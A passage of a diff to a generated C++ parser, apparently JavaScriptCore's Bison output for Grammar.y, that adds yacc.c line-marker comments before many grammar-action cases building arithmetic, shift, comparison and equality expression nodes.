     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeBitwiseNotNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 79:
+
+/* Line 1455 of yacc.c  */
 #line 516 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalNotNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 85:
+
+/* Line 1455 of yacc.c  */
 #line 530 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeMultNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 86:
+
+/* Line 1455 of yacc.c  */
 #line 531 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeDivNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 87:
+
+/* Line 1455 of yacc.c  */
 #line 532 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ModNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 89:
+
+/* Line 1455 of yacc.c  */
 #line 538 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeMultNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 90:
+
+/* Line 1455 of yacc.c  */
 #line 540 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeDivNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 91:
+
+/* Line 1455 of yacc.c  */
 #line 542 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ModNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 93:
+
+/* Line 1455 of yacc.c  */
 #line 547 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeAddNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 94:
+
+/* Line 1455 of yacc.c  */
 #line 548 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeSubNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 96:
+
+/* Line 1455 of yacc.c  */
 #line 554 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeAddNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 97:
+
+/* Line 1455 of yacc.c  */
 #line 556 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeSubNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 99:
+
+/* Line 1455 of yacc.c  */
 #line 561 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeLeftShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 100:
+
+/* Line 1455 of yacc.c  */
 #line 562 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeRightShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 101:
+
+/* Line 1455 of yacc.c  */
 #line 563 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) UnsignedRightShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 103:
+
+/* Line 1455 of yacc.c  */
 #line 568 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeLeftShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 104:
+
+/* Line 1455 of yacc.c  */
 #line 569 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeRightShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 105:
+
+/* Line 1455 of yacc.c  */
 #line 570 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) UnsignedRightShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 107:
+
+/* Line 1455 of yacc.c  */
 #line 575 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 108:
+
+/* Line 1455 of yacc.c  */
 #line 576 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 109:
+
+/* Line 1455 of yacc.c  */
 #line 577 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 110:
+
+/* Line 1455 of yacc.c  */
 #line 578 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 111:
+
+/* Line 1455 of yacc.c  */
 #line 579 "parser/Grammar.y"
     { InstanceOfNode* node = new (GLOBAL_DATA) InstanceOfNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(3) - (3)]).first_column, (yylsp[(3) - (3)]).last_column);  
@@ -3517,6 +3649,8 @@ yyreduce:
     break;
 
   case 112:
+
+/* Line 1455 of yacc.c  */
 #line 582 "parser/Grammar.y"
     { InNode* node = new (GLOBAL_DATA) InNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(3) - (3)]).first_column, (yylsp[(3) - (3)]).last_column);  
@@ -3524,26 +3658,36 @@ yyreduce:
     break;
 
   case 114:
+
+/* Line 1455 of yacc.c  */
 #line 589 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 115:
+
+/* Line 1455 of yacc.c  */
 #line 590 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 116:
+
+/* Line 1455 of yacc.c  */
 #line 591 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 117:
+
+/* Line 1455 of yacc.c  */
 #line 592 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 118:
+
+/* Line 1455 of yacc.c  */
 #line 594 "parser/Grammar.y"
     { InstanceOfNode* node = new (GLOBAL_DATA) InstanceOfNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(3) - (3)]).first_column, (yylsp[(3) - (3)]).last_column);  
@@ -3551,26 +3695,36 @@ yyreduce:
     break;
 
   case 120:
+
+/* Line 1455 of yacc.c  */
 #line 601 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 121:
+
+/* Line 1455 of yacc.c  */
 #line 602 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 122:
+
+/* Line 1455 of yacc.c  */
 #line 603 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 123:
+
+/* Line 1455 of yacc.c  */
 #line 604 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 124:
+
+/* Line 1455 of yacc.c  */
 #line 606 "parser/Grammar.y"
     { InstanceOfNode* node = new (GLOBAL_DATA) InstanceOfNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(3) - (3)]).first_column, (yylsp[(3) - (3)]).last_column);  
@@ -3578,6 +3732,8 @@ yyreduce:
     break;
 
   case 125:
+
+/* Line 1455 of yacc.c  */
 #line 610 "parser/Grammar.y"
     { InNode* node = new (GLOBAL_DATA) InNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(3) - (3)]).first_column, (yylsp[(3) - (3)]).last_column);  
@@ -3585,156 +3741,218 @@ yyreduce:
     break;
 
   case 127:
+
+/* Line 1455 of yacc.c  */
 #line 617 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) EqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 128:
+
+/* Line 1455 of yacc.c  */
 #line 618 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NotEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 129:
+
+/* Line 1455 of yacc.c  */
 #line 619 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) StrictEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 130:
+
+/* Line 1455 of yacc.c  */
 #line 620 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NotStrictEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 132:
+
+/* Line 1455 of yacc.c  */
 #line 626 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) EqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 133:
+
+/* Line 1455 of yacc.c  */
 #line 628 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NotEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 134:
+
+/* Line 1455 of yacc.c  */
 #line 630 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) StrictEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 135:
+
+/* Line 1455 of yacc.c  */
 #line 632 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NotStrictEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 137:
+
+/* Line 1455 of yacc.c  */
 #line 638 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) EqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 138:
+
+/* Line 1455 of yacc.c  */
 #line 639 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NotEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 139:
+
+/* Line 1455 of yacc.c  */
 #line 641 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) StrictEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 140:
+
+/* Line 1455 of yacc.c  */
 #line 643 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NotStrictEqualNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 142:
+
+/* Line 1455 of yacc.c  */
 #line 648 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitAndNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 144:
+
+/* Line 1455 of yacc.c  */
 #line 654 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitAndNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 146:
+
+/* Line 1455 of yacc.c  */
 #line 659 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BitAndNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 148:
+
+/* Line 1455 of yacc.c  */
 #line 664 "parser/Grammar.y"
